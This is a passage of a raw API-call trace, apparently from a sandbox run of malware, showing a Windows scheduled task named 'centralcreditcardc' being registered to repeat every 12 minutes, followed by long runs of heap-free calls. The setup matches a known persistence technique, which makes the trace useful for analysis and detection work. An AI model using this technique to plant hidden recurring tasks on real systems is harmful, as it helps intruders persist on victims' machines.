wMatch=0x27) returned 0x0 [0081.087] IUnknown:Release (This=0x2168e0) returned 0x1 [0081.087] IUnknown:Release (This=0x215a80) returned 0x1 [0081.087] ITaskDefinition:get_Triggers (in: This=0x2164d0, ppTriggers=0x13c8a0 | out: ppTriggers=0x13c8a0*=0x216650) returned 0x0 [0081.087] ITriggerCollection:Create (in: This=0x216650, Type=1, ppTrigger=0x13c898 | out: ppTrigger=0x13c898*=0x216950) returned 0x0 [0081.087] lstrlenW (lpString="12") returned 2 [0081.087] _vsnwprintf (in: _Buffer=0x13c820, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x13c818 | out: _Buffer="PT12M") returned 5 [0081.087] ITrigger:get_Repetition (in: This=0x216950, ppRepeat=0x13c890 | out: ppRepeat=0x13c890*=0x2169e0) returned 0x0 [0081.088] IRepetitionPattern:put_Interval (This=0x2169e0, Interval="PT12M") returned 0x0 [0081.088] IUnknown:Release (This=0x2169e0) returned 0x1 [0081.088] _vsnwprintf (in: _Buffer=0x13c7e0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13c7b8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0081.088] ITrigger:put_StartBoundary (This=0x216950, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0081.088] lstrlenW (lpString="") returned 0 [0081.088] lstrlenW (lpString="") returned 0 [0081.088] lstrlenW (lpString="") returned 0 [0081.088] lstrlenW (lpString="") returned 0 [0081.088] IUnknown:Release (This=0x216950) returned 0x1 [0081.088] IUnknown:Release (This=0x216650) returned 0x1 [0081.088] ITaskDefinition:get_Settings (in: This=0x2164d0, ppSettings=0x13cd40 | out: ppSettings=0x13cd40*=0x2166c0) returned 0x0 [0081.088] lstrlenW (lpString="") returned 0 [0081.088] IUnknown:Release (This=0x2166c0) returned 0x1 [0081.088] GetLocalTime (in: lpSystemTime=0x13cbf8 | out: lpSystemTime=0x13cbf8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x5, wMilliseconds=0x1c2)) [0081.088] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0081.089] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0081.089] GetUserNameW (in: lpBuffer=0x13cc20, pcbBuffer=0x13cc08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13cc08) returned 1 [0081.089] ITaskDefinition:get_RegistrationInfo (in: This=0x2164d0, ppRegistrationInfo=0x13cbf0 | out: ppRegistrationInfo=0x13cbf0*=0x216590) returned 0x0 [0081.089] IRegistrationInfo:put_Author (This=0x216590, Author="") returned 0x0 [0081.090] _vsnwprintf (in: _Buffer=0x13cc20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13cbb8 | out: _Buffer="2023-09-19T17:17:05") returned 19 [0081.090] IRegistrationInfo:put_Date (This=0x216590, Date="") returned 0x0 [0081.090] IUnknown:Release (This=0x216590) returned 0x1 [0081.090] malloc (_Size=0x18) returned 0x216a40 [0081.090] free (_Block=0x216a40) [0081.090] lstrlenW (lpString="") returned 0 [0081.090] malloc (_Size=0x18) returned 0x216a40 [0081.090] ITaskFolder:RegisterTaskDefinition (in: This=0x36df30, Path="centralcreditcardc", pDefinition=0x2164d0, flags=6, UserId=0x13ce90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13eda0, varVal2=0xfe), LogonType=3, sddl=0x13ceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13cdb0 | out: ppTask=0x13cdb0*=0x216bf0) returned 0x0 [0081.309] free (_Block=0x216a40) [0081.309] _memicmp (_Buf1=0x27bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.310] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x27d480, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0081.310] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0081.310] GetProcessHeap () returned 0x260000 [0081.310] GetProcessHeap () returned 0x260000 [0081.310] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d780) returned 1 [0081.310] GetProcessHeap () returned 0x260000 [0081.310] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d780) returned 0xc [0081.310] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d780 | out: hHeap=0x260000) returned 1 [0081.310] GetProcessHeap () returned 0x260000 [0081.310] RtlAllocateHeap (HeapHandle=0x260000, Flags=0xc, Size=0x82) returned 0x299eb0 [0081.310] _vsnwprintf (in: _Buffer=0x13d4f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13cd58 | out: _Buffer="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n") returned 80 [0081.310] _fileno (_File=0x7feffe22ab0) returned -2 [0081.310] _errno () returned 0x214bb0 [0081.310] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0081.310] SetLastError (dwErrCode=0x6) [0081.310] lstrlenW (lpString="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n") returned 80 [0081.310] GetConsoleOutputCP () returned 0x0 [0081.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0081.311] GetConsoleOutputCP () returned 0x0 [0081.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n", cchWideChar=80, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"centralcreditcardc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 80 [0081.311] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 80 [0081.311] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0081.311] IUnknown:Release (This=0x216bf0) returned 0x0 [0081.311] TaskScheduler:IUnknown:Release (This=0x2164d0) returned 0x0 [0081.311] TaskScheduler:IUnknown:Release (This=0x36df30) returned 0x0 [0081.311] TaskScheduler:IUnknown:Release (This=0x2158c0) returned 0x1 [0081.311] lstrlenW (lpString="") returned 0 [0081.311] lstrlenW (lpString="12") returned 2 [0081.311] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0081.311] GetProcessHeap () returned 0x260000 [0081.311] GetProcessHeap () returned 0x260000 [0081.311] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c6b0) returned 1 [0081.311] GetProcessHeap () returned 0x260000 [0081.311] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c6b0) returned 0x1fc [0081.312] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c6b0 | out: hHeap=0x260000) returned 1 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x2755d0) returned 1 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x2755d0) returned 0x6 [0081.312] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x2755d0 | out: hHeap=0x260000) returned 1 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d6e0) returned 1 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d6e0) returned 0x16 [0081.312] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d6e0 | out: hHeap=0x260000) returned 1 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d6c0) returned 1 [0081.312] GetProcessHeap () returned 0x260000 [0081.312] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d6c0) returned 0x18 [0081.313] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d6c0 | out: hHeap=0x260000) returned 1 [0081.313] GetProcessHeap () returned 0x260000 [0081.313] GetProcessHeap () returned 0x260000 [0081.313] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf80) returned 1 [0081.313] GetProcessHeap () returned 0x260000 [0081.313] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cf80) returned 0x20 [0081.314] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf80 | out: hHeap=0x260000) returned 1 [0081.314] GetProcessHeap () returned 0x260000 [0081.314] GetProcessHeap () returned 0x260000 [0081.314] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c1d0) returned 1 [0081.314] GetProcessHeap () returned 0x260000 [0081.314] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c1d0) returned 0xa0 [0081.315] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c1d0 | out: hHeap=0x260000) returned 1 [0081.315] GetProcessHeap () returned 0x260000 [0081.315] GetProcessHeap () returned 0x260000 [0081.315] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc50) returned 1 [0081.315] GetProcessHeap () returned 0x260000 [0081.315] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bc50) returned 0x18 [0081.315] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc50 | out: hHeap=0x260000) returned 1 [0081.315] GetProcessHeap () returned 0x260000 [0081.315] GetProcessHeap () returned 0x260000 [0081.315] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd10) returned 1 [0081.315] GetProcessHeap () returned 0x260000 [0081.315] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cd10) returned 0x20 [0081.316] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd10 | out: hHeap=0x260000) returned 1 [0081.318] GetProcessHeap () returned 0x260000 [0081.318] GetProcessHeap () returned 0x260000 [0081.318] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c5f0) returned 1 [0081.318] GetProcessHeap () returned 0x260000 [0081.318] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c5f0) returned 0xae [0081.319] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c5f0 | out: hHeap=0x260000) returned 1 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d700) returned 1 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d700) returned 0x18 [0081.319] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d700 | out: hHeap=0x260000) returned 1 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cce0) returned 1 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cce0) returned 0x20 [0081.319] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cce0 | out: hHeap=0x260000) returned 1 [0081.319] GetProcessHeap () returned 0x260000 [0081.319] GetProcessHeap () returned 0x260000 [0081.320] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c530) returned 1 [0081.320] GetProcessHeap () returned 0x260000 [0081.320] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c530) returned 0xb0 [0081.320] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c530 | out: hHeap=0x260000) returned 1 [0081.320] GetProcessHeap () returned 0x260000 [0081.320] GetProcessHeap () returned 0x260000 [0081.320] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c510) returned 1 [0081.320] GetProcessHeap () returned 0x260000 [0081.320] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c510) returned 0x18 [0081.321] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c510 | out: hHeap=0x260000) returned 1 [0081.321] GetProcessHeap () returned 0x260000 [0081.321] GetProcessHeap () returned 0x260000 [0081.321] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27ccb0) returned 1 [0081.321] GetProcessHeap () returned 0x260000 [0081.321] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27ccb0) returned 0x20 [0081.321] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27ccb0 | out: hHeap=0x260000) returned 1 [0081.321] GetProcessHeap () returned 0x260000 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c4f0) returned 1 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c4f0) returned 0xe [0081.322] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c4f0 | out: hHeap=0x260000) returned 1 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c4d0) returned 1 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c4d0) returned 0x18 [0081.322] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c4d0 | out: hHeap=0x260000) returned 1 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275ee0) returned 1 [0081.322] GetProcessHeap () returned 0x260000 [0081.322] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275ee0) returned 0x20 [0081.323] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275ee0 | out: hHeap=0x260000) returned 1 [0081.323] GetProcessHeap () returned 0x260000 [0081.323] GetProcessHeap () returned 0x260000 [0081.323] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bdd0) returned 1 [0081.323] GetProcessHeap () returned 0x260000 [0081.323] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bdd0) returned 0x208 [0081.324] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bdd0 | out: hHeap=0x260000) returned 1 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc30) returned 1 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bc30) returned 0x18 [0081.324] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc30 | out: hHeap=0x260000) returned 1 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275df0) returned 1 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275df0) returned 0x20 [0081.324] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275df0 | out: hHeap=0x260000) returned 1 [0081.324] GetProcessHeap () returned 0x260000 [0081.324] GetProcessHeap () returned 0x260000 [0081.325] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d480) returned 1 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d480) returned 0x200 [0081.325] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d480 | out: hHeap=0x260000) returned 1 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc70) returned 1 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bc70) returned 0x18 [0081.325] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bc70 | out: hHeap=0x260000) returned 1 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275d60) returned 1 [0081.325] GetProcessHeap () returned 0x260000 [0081.325] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275d60) returned 0x20 [0081.326] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275d60 | out: hHeap=0x260000) returned 1 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3e0) returned 1 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c3e0) returned 0x14 [0081.326] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3e0 | out: hHeap=0x260000) returned 1 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3c0) returned 1 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c3c0) returned 0x18 [0081.326] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c3c0 | out: hHeap=0x260000) returned 1 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] GetProcessHeap () returned 0x260000 [0081.326] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275ca0) returned 1 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275ca0) returned 0x20 [0081.327] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275ca0 | out: hHeap=0x260000) returned 1 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c400) returned 1 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c400) returned 0x16 [0081.327] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c400 | out: hHeap=0x260000) returned 1 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27c280) returned 1 [0081.327] GetProcessHeap () returned 0x260000 [0081.327] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27c280) returned 0x18 [0081.327] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27c280 | out: hHeap=0x260000) returned 1 [0081.327] GetProcessHeap () returned 0x260000 [0081.328] GetProcessHeap () returned 0x260000 [0081.328] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275c70) returned 1 [0081.328] GetProcessHeap () returned 0x260000 [0081.328] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275c70) returned 0x20 [0081.328] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275c70 | out: hHeap=0x260000) returned 1 [0081.328] GetProcessHeap () returned 0x260000 [0081.328] GetProcessHeap () returned 0x260000 [0081.328] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27bbb0) returned 1 [0081.328] GetProcessHeap () returned 0x260000 [0081.328] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27bbb0) returned 0x2 [0081.328] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27bbb0 | out: hHeap=0x260000) returned 1 [0081.328] GetProcessHeap () returned 0x260000 [0081.328] GetProcessHeap () returned 0x260000 [0081.329] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275ac0) returned 1 [0081.329] GetProcessHeap () returned 0x260000 [0081.329] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275ac0) returned 0x20 [0081.329] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275ac0 | out: hHeap=0x260000) returned 1 [0081.329] GetProcessHeap () returned 0x260000 [0081.329] GetProcessHeap () returned 0x260000 [0081.329] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275af0) returned 1 [0081.329] GetProcessHeap () returned 0x260000 [0081.329] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275af0) returned 0x20 [0081.330] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275af0 | out: hHeap=0x260000) returned 1 [0081.330] GetProcessHeap () returned 0x260000 [0081.330] GetProcessHeap () returned 0x260000 [0081.330] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275b20) returned 1 [0081.330] GetProcessHeap () returned 0x260000 [0081.330] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275b20) returned 0x20 [0081.331] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275b20 | out: hHeap=0x260000) returned 1 [0081.331] GetProcessHeap () returned 0x260000 [0081.331] GetProcessHeap () returned 0x260000 [0081.331] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x275b50) returned 1 [0081.331] GetProcessHeap () returned 0x260000 [0081.331] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x275b50) returned 0x20 [0081.331] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x275b50 | out: hHeap=0x260000) returned 1 [0081.331] GetProcessHeap () returned 0x260000 [0081.331] GetProcessHeap () returned 0x260000 [0081.331] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd40) returned 1 [0081.331] GetProcessHeap () returned 0x260000 [0081.331] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cd40) returned 0x20 [0081.332] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd40 | out: hHeap=0x260000) returned 1 [0081.332] GetProcessHeap () returned 0x260000 [0081.332] GetProcessHeap () returned 0x260000 [0081.332] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d800) returned 1 [0081.332] GetProcessHeap () returned 0x260000 [0081.332] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d800) returned 0xe [0081.332] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d800 | out: hHeap=0x260000) returned 1 [0081.332] GetProcessHeap () returned 0x260000 [0081.332] GetProcessHeap () returned 0x260000 [0081.332] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd70) returned 1 [0081.332] GetProcessHeap () returned 0x260000 [0081.332] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cd70) returned 0x20 [0081.333] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd70 | out: hHeap=0x260000) returned 1 [0081.333] GetProcessHeap () returned 0x260000 [0081.333] GetProcessHeap () returned 0x260000 [0081.333] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x277c50) returned 1 [0081.333] GetProcessHeap () returned 0x260000 [0081.333] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x277c50) returned 0x30 [0081.333] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x277c50 | out: hHeap=0x260000) returned 1 [0081.333] GetProcessHeap () returned 0x260000 [0081.333] GetProcessHeap () returned 0x260000 [0081.333] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cda0) returned 1 [0081.334] GetProcessHeap () returned 0x260000 [0081.334] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cda0) returned 0x20 [0081.334] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cda0 | out: hHeap=0x260000) returned 1 [0081.334] GetProcessHeap () returned 0x260000 [0081.334] GetProcessHeap () returned 0x260000 [0081.334] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x277c90) returned 1 [0081.334] GetProcessHeap () returned 0x260000 [0081.334] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x277c90) returned 0x30 [0081.335] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x277c90 | out: hHeap=0x260000) returned 1 [0081.335] GetProcessHeap () returned 0x260000 [0081.335] GetProcessHeap () returned 0x260000 [0081.335] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf50) returned 1 [0081.335] GetProcessHeap () returned 0x260000 [0081.335] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cf50) returned 0x20 [0081.335] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf50 | out: hHeap=0x260000) returned 1 [0081.335] GetProcessHeap () returned 0x260000 [0081.335] GetProcessHeap () returned 0x260000 [0081.335] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d720) returned 1 [0081.335] GetProcessHeap () returned 0x260000 [0081.335] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d720) returned 0xe [0081.336] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d720 | out: hHeap=0x260000) returned 1 [0081.336] GetProcessHeap () returned 0x260000 [0081.336] GetProcessHeap () returned 0x260000 [0081.336] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf20) returned 1 [0081.336] GetProcessHeap () returned 0x260000 [0081.336] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cf20) returned 0x20 [0081.336] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cf20 | out: hHeap=0x260000) returned 1 [0081.336] GetProcessHeap () returned 0x260000 [0081.336] GetProcessHeap () returned 0x260000 [0081.336] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d740) returned 1 [0081.336] GetProcessHeap () returned 0x260000 [0081.336] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d740) returned 0x16 [0081.337] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d740 | out: hHeap=0x260000) returned 1 [0081.337] GetProcessHeap () returned 0x260000 [0081.337] GetProcessHeap () returned 0x260000 [0081.337] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cef0) returned 1 [0081.337] GetProcessHeap () returned 0x260000 [0081.337] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cef0) returned 0x20 [0081.337] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cef0 | out: hHeap=0x260000) returned 1 [0081.337] GetProcessHeap () returned 0x260000 [0081.337] GetProcessHeap () returned 0x260000 [0081.337] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d760) returned 1 [0081.337] GetProcessHeap () returned 0x260000 [0081.337] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27d760) returned 0x16 [0081.338] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27d760 | out: hHeap=0x260000) returned 1 [0081.338] GetProcessHeap () returned 0x260000 [0081.338] GetProcessHeap () returned 0x260000 [0081.338] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27cec0) returned 1 [0081.338] GetProcessHeap () returned 0x260000 [0081.338] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x27cec0) returned 0x20 [0081.338] HeapFree (in: hHeap=0x260000, 